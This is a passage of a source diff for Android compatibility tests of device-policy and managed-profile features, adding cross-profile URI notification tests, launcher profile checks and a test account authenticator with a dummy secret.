+++ b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
@@ -21,7 +21,8 @@
 
     <uses-permission android:name="com.android.cts.managedprofile.permission.SAMPLE"/>
 
-    <application>
+    <application
+        android:testOnly="true">
 
         <uses-library android:name="android.test.runner" />
 
@@ -31,6 +32,8 @@
                 <action android:name="com.android.cts.action.READ_FROM_URI" />
                 <action android:name="com.android.cts.action.TAKE_PERSISTABLE_URI_PERMISSION" />
                 <action android:name="com.android.cts.action.WRITE_TO_URI" />
+                <action android:name="com.android.cts.action.NOTIFY_URI_CHANGE"/>
+                <action android:name="com.android.cts.action.OBSERVE_URI_CHANGE"/>
                 <action android:name="com.android.cts.action.JUST_CREATE" />
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
index 9aa948e..a645a87 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
@@ -16,11 +16,14 @@
 package com.android.cts.intent.receiver;
 
 import android.app.Activity;
-import android.content.ClipboardManager;
 import android.content.ClipData;
+import android.content.ClipboardManager;
 import android.content.Intent;
+import android.database.ContentObserver;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.util.Log;
 
 import java.io.BufferedReader;
@@ -28,6 +31,8 @@
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.OutputStreamWriter;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Class to receive intents sent across profile boundaries, and read/write to content uri specified
@@ -55,6 +60,12 @@
     public static final String RECEIVING_ACTIVITY_CREATED_ACTION
             = "com.android.cts.deviceowner.RECEIVING_ACTIVITY_CREATED_ACTION";
 
+    public static final String ACTION_NOTIFY_URI_CHANGE
+            = "com.android.cts.action.NOTIFY_URI_CHANGE";
+
+    public static final String ACTION_OBSERVE_URI_CHANGE
+            = "com.android.cts.action.OBSERVE_URI_CHANGE";
+
     private static final String EXTRA_CAUGHT_SECURITY_EXCEPTION = "extra_caught_security_exception";
 
     public void onCreate(Bundle savedInstanceState) {
@@ -103,12 +114,54 @@
                 Log.i(TAG, "Caught a IOException while trying to write to " + uri, e);
             }
             setResult(Activity.RESULT_OK, result);
+        } else if (ACTION_NOTIFY_URI_CHANGE.equals(action)) {
+            Log.i(TAG, "Notifying a uri change to " + uri);
+            getContentResolver().notifyChange(uri, null);
+            setResult(Activity.RESULT_OK);
+        } else if (ACTION_OBSERVE_URI_CHANGE.equals(action)) {
+            Log.i(TAG, "Observing a uri change to " + uri);
+            HandlerThread handlerThread = new HandlerThread("observer");
+            handlerThread.start();
+            UriObserver uriObserver = new UriObserver(new Handler(handlerThread.getLooper()));
+            try {
+                getContentResolver().registerContentObserver(uri, false, uriObserver);
+                uriObserver.waitForNotify();
+                setResult(Activity.RESULT_OK, new Intent());
+            } finally {
+                getContentResolver().unregisterContentObserver(uriObserver);
+                handlerThread.quit();
+            }
         } else if (ACTION_JUST_CREATE.equals(action)) {
             sendBroadcast(new Intent(RECEIVING_ACTIVITY_CREATED_ACTION));
         }
         finish();
     }
 
+    private class UriObserver extends ContentObserver {
+        private final Semaphore mNotificationReceived = new Semaphore(0);
+        public UriObserver(Handler handler) {
+           super(handler);
+        }
+
+        @Override
+        public void onChange(boolean selfChange, Uri uri) {
+            super.onChange(selfChange, uri);
+            // Here, we can't test that uri is the uri that was called with registerContentObserver
+            // because it doesn't have the userId in the userInfo part.
+            mNotificationReceived.release(1);
+        }
+
+        private boolean waitForNotify() {
+            // The uri notification may not come immediately.
+            try {
+                return mNotificationReceived.tryAcquire(1, 30, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                Log.e(TAG, "Interrupted while waiting for notification change", e);
+                return false;
+            }
+        }
+    }
+
     /**
      * Returns the first line of the file associated with uri.
      */
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.mk b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
index f1abff5..b0abc23 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
@@ -26,10 +26,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	android-support-v4 \
-	ctstestrunner \
-	legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
index fb22ab3..1da1202 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
@@ -16,13 +16,11 @@
 
 package com.android.cts.intent.sender;
 
-import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.net.Uri;
 import android.test.InstrumentationTestCase;
-import android.util.Log;
 
 public class AppLinkTest extends InstrumentationTestCase {
 
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/ContentTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/ContentTest.java
index 1aaa5ab..6fe733b 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/ContentTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/ContentTest.java
@@ -20,7 +20,10 @@
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
+import android.database.ContentObserver;
 import android.net.Uri;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.support.v4.content.FileProvider;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
@@ -31,6 +34,10 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.util.Timer;
+import java.util.TimerTask;
+import java.util.concurrent.SynchronousQueue;
+import java.util.concurrent.TimeUnit;
 
 public class ContentTest extends InstrumentationTestCase {
 
@@ -43,6 +50,12 @@
     private static final String ACTION_TAKE_PERSISTABLE_URI_PERMISSION =
             "com.android.cts.action.TAKE_PERSISTABLE_URI_PERMISSION";
 
+    public static final String ACTION_NOTIFY_URI_CHANGE
+            = "com.android.cts.action.NOTIFY_URI_CHANGE";
+
+    public static final String ACTION_OBSERVE_URI_CHANGE
+            = "com.android.cts.action.OBSERVE_URI_CHANGE";
+
     private static final String TAG = "CrossProfileContentTest";
 
     private Context mContext;
@@ -68,7 +81,7 @@
      */
     public void testReceiverCanRead() throws Exception {
         Uri uri = getUriWithTextInFile("reading_test", MESSAGE);
-        assertTrue(uri != null);
+        assertNotNull(uri);
         Intent intent = new Intent(ACTION_READ_FROM_URI);
         intent.setClipData(ClipData.newRawUri("", uri));
         intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
@@ -165,6 +178,79 @@
         }
     }
 
+    /**
+     * Test that an app can notify a uri change across profiles.
+     */
+    public void testCanNotifyAcrossProfiles() throws Exception {
+        Uri uri = getUriWithTextInFile("notifying_test", "");
+        assertNotNull(uri);
+        Intent intent = new Intent(ACTION_NOTIFY_URI_CHANGE);
+        intent.setClipData(ClipData.newRawUri("", uri));
+        intent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+                | Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        HandlerThread handlerThread = new HandlerThread("observer");
+        handlerThread.start();
+        UriObserver uriObserver = new UriObserver(new Handler(handlerThread.getLooper()));
+        try {
+            mContext.getContentResolver().registerContentObserver(uri, false, uriObserver);
+            // ask the cross-profile receiver to notify the uri
+            mActivity.getCrossProfileResult(intent);
+            assertEquals(uri, uriObserver.waitForNotify());
+        } finally {
+            mContext.getContentResolver().unregisterContentObserver(uriObserver);
+            handlerThread.quit();
+        }
+    }
+
+    /**
+     * Test that an app can observe a uri change across profiles.
+     */
+    public void testCanObserveAcrossProfiles() throws Exception {
+        final Uri uri = getUriWithTextInFile("observing_test", "");
+        assertNotNull(uri);
+        Intent intent = new Intent(ACTION_OBSERVE_URI_CHANGE);
+        intent.setClipData(ClipData.newRawUri("", uri));
+        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+
+        Timer timer = new Timer();
+        timer.schedule(new TimerTask() {
+            @Override
+            public void run() {
+                mContext.getContentResolver().notifyChange(uri, null);
+            }
+        }, 5000 /* 5 seconds */);
+
+        // Check that the app in the other profile could be notified of the change.
+        // A non-null result intent indicates success.
+        assertNotNull(mActivity.getCrossProfileResult(intent));
+    }
+
+    private class UriObserver extends ContentObserver {
+        private final SynchronousQueue<Uri> mSynchronousQueue;
+
+        public UriObserver(Handler handler) {
+           super(handler);
+           mSynchronousQueue = new SynchronousQueue<Uri>();
+        }
+
+        @Override
+        public void onChange(boolean selfChange, Uri uri) {
+            super.onChange(selfChange, uri);
+            try {
+                if (!mSynchronousQueue.offer(uri, 5, TimeUnit.SECONDS)) {
+                    Log.e(TAG, "Failed to offer uri " + uri + " to synchronous queue");
+                }
+            } catch (InterruptedException e) {
+                Log.e(TAG, "Interrupted while receiving onChange for " + uri, e);
+            }
+        }
+
+        private Uri waitForNotify() throws InterruptedException {
+            // The uri notification may not come immediately.
+            return mSynchronousQueue.poll(30, TimeUnit.SECONDS);
+        }
+    }
+
     private void grantPersistableReadPermission(Uri uri) throws Exception {
         Intent grantPersistable = new Intent(ACTION_TAKE_PERSISTABLE_URI_PERMISSION);
         grantPersistable.setClipData(ClipData.newRawUri("", uri));
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
index 18cb3ee..68e9e8b 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
@@ -3,15 +3,31 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
 import android.test.InstrumentationTestCase;
 
 public class SuspendPackageTest extends InstrumentationTestCase {
+    private static final int WAIT_DIALOG_TIMEOUT_IN_MS = 5000;
+    private static final BySelector POPUP_IMAGE_SELECTOR = By
+            .clazz(android.widget.ImageView.class.getName())
+            .res("com.android.settings:id/admin_support_icon")
+            .pkg("com.android.settings");
+
+    private static final BySelector POPUP_BUTTON_SELECTOR = By
+            .clazz(android.widget.Button.class.getName())
+            .res("android:id/button1")
+            .pkg("com.android.settings");
+
     private IntentSenderActivity mActivity;
     private Context mContext;
     private PackageManager mPackageManager;
 
     private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
-    private static final String TARGET_ACTIVTIY_NAME
+    private static final String TARGET_ACTIVITY_NAME
             = "com.android.cts.intent.receiver.SimpleIntentReceiverActivity";
 
     @Override
@@ -37,19 +53,34 @@
     }
 
     /**
-     * Verify the package is suspended by trying start the activity inside it. If the package
-     * is not suspended, the target activity will return the result.
+     * Verify that the package is suspended by trying to start the activity inside it. If the
+     * package is not suspended, the target activity will return the result.
      */
     private void assertPackageSuspended(boolean suspended) throws Exception {
         Intent intent = new Intent();
-        intent.setClassName(INTENT_RECEIVER_PKG, TARGET_ACTIVTIY_NAME);
+        intent.setClassName(INTENT_RECEIVER_PKG, TARGET_ACTIVITY_NAME);
         Intent result = mActivity.getResult(intent);
         if (suspended) {
+            dismissPolicyTransparencyDialog();
             assertNull(result);
         } else {
             assertNotNull(result);
         }
-        // No matter it is suspended or not, we should able to resolve the activity.
+        // No matter if it is suspended or not, we should be able to resolve the activity.
         assertNotNull(mPackageManager.resolveActivity(intent, 0));
     }
+
+    /**
+     * Wait for the policy transparency dialog and dismiss it.
+     */
+    private void dismissPolicyTransparencyDialog() {
+        final UiDevice device = UiDevice.getInstance(getInstrumentation());
+        device.wait(Until.hasObject(POPUP_IMAGE_SELECTOR), WAIT_DIALOG_TIMEOUT_IN_MS);
+        final UiObject2 icon = device.findObject(POPUP_IMAGE_SELECTOR);
+        assertNotNull("Policy transparency dialog icon not found", icon);
+        // "OK" button only present in the dialog if it is blocked by policy.
+        final UiObject2 button = device.findObject(POPUP_BUTTON_SELECTOR);
+        assertNotNull("OK button not found", button);
+        button.click();
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
index 11dbd13..285cbc7 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
@@ -24,12 +24,9 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := legacy-android-test cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES = \
-	android-support-v4 \
-	ctstestrunner \
-	legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner android-support-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml b/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml
index 5ded006..abf4c52 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml
@@ -17,7 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="com.android.cts.launchertests">
 
-    <uses-sdk android:minSdkVersion="21"/>
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
 
     <application>
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
index 35c16ea..a35574b 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
@@ -15,36 +15,32 @@
  */
 package com.android.cts.launchertests;
 
-import android.app.admin.DeviceAdminReceiver;
-import android.app.admin.DevicePolicyManager;
-import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.ServiceConnection;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.LauncherActivityInfo;
 import android.content.pm.LauncherApps;
-import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
+import android.net.Uri;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.IBinder;
 import android.os.Looper;
 import android.os.Message;
 import android.os.Messenger;
-import android.os.Parcel;
-import android.os.RemoteException;
-import android.os.ResultReceiver;
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
-import android.util.Pair;
 
+import java.util.List;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
-import java.util.List;
 
 /**
  * Tests for LauncherApps service
@@ -120,6 +116,41 @@
             assertTrue(activity.getUser().equals(mUser));
         }
         assertTrue(foundSimpleApp);
+
+        // Also make sure getApplicationInfo works too.
+        final ApplicationInfo ai =
+                mLauncherApps.getApplicationInfo(SIMPLE_APP_PACKAGE, /* flags= */ 0, mUser);
+        assertEquals(SIMPLE_APP_PACKAGE, ai.packageName);
+        assertEquals(mUser, UserHandle.getUserHandleForUid(ai.uid));
+    }
+
+    public void testAccessPrimaryProfileFromManagedProfile() throws Exception {
+        // Try to access main profile from managed profile, which is not allowed.
+        assertEquals(0, mLauncherApps.getActivityList(null, mUser).size());
+        try {
+            mLauncherApps.getApplicationInfo(SIMPLE_APP_PACKAGE, /* flags= */ 0, mUser);
+            fail("Missing exception");
+        } catch (PackageManager.NameNotFoundException e) {
+            // Expected.
+        }
+        assertFalse(mLauncherApps.isPackageEnabled(SIMPLE_APP_PACKAGE, mUser));
+
+        final Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.android.com/"));
+        assertNull(mLauncherApps.resolveActivity(intent, mUser));
+    }
+
+    public void testGetProfiles_fromMainProfile() {
+        final List<UserHandle> profiles = mLauncherApps.getProfiles();
+        assertEquals(2, profiles.size());
+        assertTrue(profiles.contains(android.os.Process.myUserHandle()));
+        assertEquals(getContext().getSystemService(UserManager.class).getUserProfiles(),
+                profiles);
+    }
+
+    public void testGetProfiles_fromManagedProfile() {
+        final List<UserHandle> profiles = mLauncherApps.getProfiles();
+        assertEquals(1, profiles.size());
+        assertEquals(android.os.Process.myUserHandle(), profiles.get(0));
     }
 
     public void testPackageAddedCallbackForUser() throws Throwable {
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
index 9e86d13..5b2c8be 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := cts-junit
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml b/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml
index fbd049f..dc71264 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml
@@ -17,7 +17,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="com.android.cts.launchertests.support">
 
-    <uses-sdk android:minSdkVersion="21"/>
+    <!-- Target 25.  Don't change to >= 26 since that'll break background services. -->
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
 
     <application>
         <service android:name=".LauncherCallbackTestsService" >
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/src/com/android/cts/launchertests/support/LauncherCallbackTestsService.java b/hostsidetests/devicepolicy/app/LauncherTestsSupport/src/com/android/cts/launchertests/support/LauncherCallbackTestsService.java
index 195a18b..a5e8da1 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/src/com/android/cts/launchertests/support/LauncherCallbackTestsService.java
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/src/com/android/cts/launchertests/support/LauncherCallbackTestsService.java
@@ -68,7 +68,7 @@
             = new LinkedBlockingQueue();
 
     private TestCallback mCallback;
-    private Object mCallbackLock = new Object();
+    private final Object mCallbackLock = new Object();
     private final Messenger mMessenger = new Messenger(new CheckHandler());
     private final HandlerThread mCallbackThread = new HandlerThread("callback");
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
index 90410d0..ae6282f 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
@@ -26,14 +26,10 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES = \
-	android-support-v4 \
-	ctstestrunner \
-	compatibility-device-util \
-	ub-uiautomator \
-	legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner compatibility-device-util \
+	ub-uiautomator android-support-test guava
 
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 2a992a8..b8a5eae6 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -29,6 +29,7 @@
     <uses-permission android:name="android.permission.CALL_PHONE"/>
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
     <application
         android:testOnly="true">
@@ -44,6 +45,15 @@
             </intent-filter>
         </receiver>
         <receiver
+                android:name="com.android.cts.managedprofile.ProvisioningTest$ProvisioningAdminReceiver"
+                android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                    android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+        <receiver
             android:name="com.android.cts.managedprofile.PrimaryUserDeviceAdmin"
             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <meta-data android:name="android.app.device_admin"
@@ -79,7 +89,9 @@
                 <action android:name="com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY" />
             </intent-filter>
         </activity>
-        <activity android:name=".SetPolicyActivity" >
+        <activity
+            android:name=".SetPolicyActivity"
+            android:launchMode="singleTop">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT"/>
@@ -110,6 +122,16 @@
             <meta-data android:name="android.accounts.AccountAuthenticator"
                        android:resource="@xml/authenticator" />
         </service>
+        <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
+
+        <activity
+                android:name=".ProvisioningSuccessActivity"
+                android:theme="@android:style/Theme.NoDisplay">
+            <intent-filter>
+                <action android:name="android.app.action.PROVISIONING_SUCCESSFUL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/res/xml/device_admin.xml b/hostsidetests/devicepolicy/app/ManagedProfile/res/xml/device_admin.xml
index 36c767b..30538af 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/res/xml/device_admin.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/res/xml/device_admin.xml
@@ -18,5 +18,6 @@
         <disable-camera />
         <limit-password />
         <disable-keyguard-features/>
+        <force-lock />
     </uses-policies>
 </device-admin>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/AccountAuthenticator.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/AccountAuthenticator.java
index e8cc616..2224fdb 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/AccountAuthenticator.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/AccountAuthenticator.java
@@ -23,19 +23,27 @@
 import android.accounts.NetworkErrorException;
 import android.content.Context;
 import android.os.Bundle;
+import android.util.Log;
 
 /* package */ class AccountAuthenticator extends AbstractAccountAuthenticator {
+    private static final String TAG = "AccountAuthenticator";
     private static AccountAuthenticator sAuthenticator = null;
+    private static final String KEY_ACCOUNT_SECRET = "key_secret";
+    private static final String ACCOUNT_SECRET = "super_secret";
     public static final String ACCOUNT_NAME = "CTS";
     public static final String ACCOUNT_TYPE = "com.android.cts.test";
+    public static final Account TEST_ACCOUNT = new Account(ACCOUNT_NAME, ACCOUNT_TYPE);
     private static final String AUTH_TOKEN = "authToken";
     private static final String AUTH_TOKEN_LABEL = "authTokenLabel";
 
+    private final Context mContext;
+
     private AccountAuthenticator(Context context) {
         super(context);
+        mContext = context;
     }
 
-    private Bundle createResultBundle() {
+    private Bundle createAuthTokenBundle() {
         Bundle result = new Bundle();
         result.putString(AccountManager.KEY_ACCOUNT_NAME, ACCOUNT_NAME);
         result.putString(AccountManager.KEY_ACCOUNT_TYPE, ACCOUNT_TYPE);
@@ -44,22 +52,37 @@
         return result;
     }
 
+    private Bundle createAccountSecretBundle() {
+        Bundle result = createAuthTokenBundle();
+        result.putBoolean(AccountManager.KEY_BOOLEAN_RESULT, true);
+        result.putString(KEY_ACCOUNT_SECRET, ACCOUNT_SECRET);
+
+        return result;
+    }
+
+    private Bundle createResultBundle(boolean value) {
+        Bundle result = new Bundle();
+        result.putBoolean(AccountManager.KEY_BOOLEAN_RESULT, value);
+
+        return result;
+    }
+
     @Override
     public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
             String authTokenType, String[] requiredFeatures, Bundle options)
             throws NetworkErrorException {
-        return createResultBundle();
+        return createAuthTokenBundle();
     }
 
     @Override
     public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
-        return createResultBundle();
+        return createAuthTokenBundle();
     }
 
     @Override
     public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
             String authTokenType, Bundle options) throws NetworkErrorException {
-        return createResultBundle();
+        return createAuthTokenBundle();
     }
 
     @Override
@@ -74,7 +97,7 @@
     @Override
     public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
             String authTokenType, Bundle options) throws NetworkErrorException {
-        return createResultBundle();
+        return createAuthTokenBundle();
     }
 
     @Override
@@ -91,6 +114,30 @@
         return result;
     }
 
+    @Override
+    public Bundle getAccountCredentialsForCloning(AccountAuthenticatorResponse response, Account account) {
+        if (TEST_ACCOUNT.equals(account)) {
+            return createAccountSecretBundle();
+        } else {
+            Log.e(TAG, "failed in getAccountCredentialsForCloning. account: " + account);
+            return createResultBundle(false);
+        }
+    }
+
+    @Override
+    public Bundle addAccountFromCredentials(AccountAuthenticatorResponse response, Account account,
+            Bundle accountCredentials) {
+        if (accountCredentials != null && TEST_ACCOUNT.equals(account)
+                && ACCOUNT_SECRET.equals(accountCredentials.getString(KEY_ACCOUNT_SECRET))) {
+            AccountManager.get(mContext).addAccountExplicitly(TEST_ACCOUNT, null, null);
+            return createResultBundle(true);
+        } else {
+            Log.e(TAG, "failed in addAccountFromCredentials. Bundle values: " + accountCredentials
+                    + " account: " + account);
+            return createResultBundle(false);
+        }
+    }
+
     public static synchronized AccountAuthenticator getAuthenticator(Context context) {
         if (sAuthenticator == null) {
             sAuthenticator = new AccountAuthenticator(context.getApplicationContext());
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BaseManagedProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BaseManagedProfileTest.java
index 45d540e..905f7d5 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BaseManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BaseManagedProfileTest.java
@@ -51,13 +51,10 @@
                 mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
         assertNotNull(mDevicePolicyManager);
 
-        // TODO: Only check the below if we are running as the profile user. If running under the
-        // user owner, can we check that there is a profile and that the below holds for it? If we
-        // don't want to do these checks every time we could get rid of this class altogether and
-        // just have a single test case running under the profile user that do them.
         assertTrue(mDevicePolicyManager.isAdminActive(ADMIN_RECEIVER_COMPONENT));
         assertTrue(mDevicePolicyManager.isProfileOwnerApp(
                 ADMIN_RECEIVER_COMPONENT.getPackageName()));
+        assertTrue(mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT));
     }
 
     protected DevicePolicyManager getDevicePolicyManager(boolean isParent) {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionPrimaryProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionPrimaryProfileTest.java
new file mode 100644
index 0000000..58bcc8f
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionPrimaryProfileTest.java
@@ -0,0 +1,36 @@
+
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static com.android.cts.managedprofile.BluetoothSharingRestrictionTest.assertBluetoothSharingAvailable;
+
+import android.bluetooth.BluetoothAdapter;
+import android.test.InstrumentationTestCase;
+
+/**
+ * Auxiliary test to check that Bluetooth sharing in primary profile is not affected.
+ */
